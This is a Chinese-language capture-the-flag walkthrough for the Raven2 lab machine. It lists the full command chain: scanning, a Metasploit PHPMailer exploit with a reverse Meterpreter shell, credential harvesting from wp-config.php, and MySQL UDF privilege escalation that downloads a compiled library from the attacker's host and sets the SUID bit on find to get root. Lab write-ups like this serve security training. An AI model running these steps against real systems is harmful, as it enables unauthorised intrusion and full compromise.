文章目录
- Raven2 渗透测试
- 1. 信息收集
- 1.1 主机探测
- 1.2 端口扫描
- 1.3 目录爆破
- 2. 漏洞探测
- 3. 漏洞利用
- 3.1 msfconsole
- 3.2 交互式shell
- 4. 权限提升
Raven2 渗透测试
1. 信息收集
1.1 主机探测
arp-scan -l
1.2 端口扫描
nmap -p- -A 192.168.188.213
通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。
访问Web页面
使用浏览器插件Wappalyzer,查看网站使用的具体框架信息
1.3 目录爆破
dirsearch -u 192.168.188.213 -e * -i 200
2. 漏洞探测
访问一下wp-login.php页面
尝试登录发现找不到网站
访问http://192.168.188.213/vendor/
页面
点击PATH发现一个flag1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
点击README.md文件发现是PHPMailer。
PHPMailer的版本信息5.2.16。
经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。
Web页面中也有发送邮件的位置,这样就对应上了。
3. 漏洞利用
3.1 msfconsole
使用msfconsole搜索phpmailer
search phpmailer
info 0
有两个先查看下第一个描述情况。
发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。
use 0
配置选项如下
options
set RHOSTS 192.168.188.213 # 靶机的IP地址
set TARGETURI /contact.php # 邮件功能页面
set WEB_ROOT /var/www/html # 网站绝对路径
set payload php/meterpreter/reverse_tcp # 设置payload
set LHOST 192.168.188.157 # kali的IP地址
run
复制生成的0nB8rTnS.php拼接在URL后然后进行访问。
反弹成功。
在/var/www路径下可以看到flag2.txt文件
flag2{6a8ed560f0b5358ecf844108048eb337}
切换为shell形式,搜索所有的flag
shell
find ./ -name "flag*"
./html/wordpress/wp-content/uploads/2018/11/flag3.png
f1ag3a0f568aa9de277887f37730d71520d9b}
3.2 交互式shell
使用python一句话反弹交互式shell。
python -c 'import pty; pty.spawn("/bin/bash")'
尝试搜索wordpress的配置文件
find ./ -name "*fig*"
在wp-config.php文件中发现了mysql的数据库账号密码为:
root
R@v3nSecurity
使用账号密码成功登录数据库。
mysql -uroot -pR@v3nSecurity
4. 权限提升
MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。
ps -aux|grep mysql #查看mysql的运行权限
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置
MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本
通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。
searchsploit 1518.c #搜索1518.c
locate 1518.c #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
利用gcc编译,生成1518.so文件。
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
命令参数说明:
- -g:生成调试信息。
- -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
- -o:执行命令后的文件名。
- -lc:-l 库 c库名。
- -Wl:该选项告诉编译器将后面的参数传递给链接器。
- -soname:则指定了动态库的soname(简单共享名,Short for shared object name)
在kali上使用python开启http服务。
python3 -m http.server 7777
在获取的shell中,将该“.so”文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。
cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *
再次登录mysql,并使用一下命令创建自定义函数。
# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;
利用find命名执行whoami,发现当前为root权限。
touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt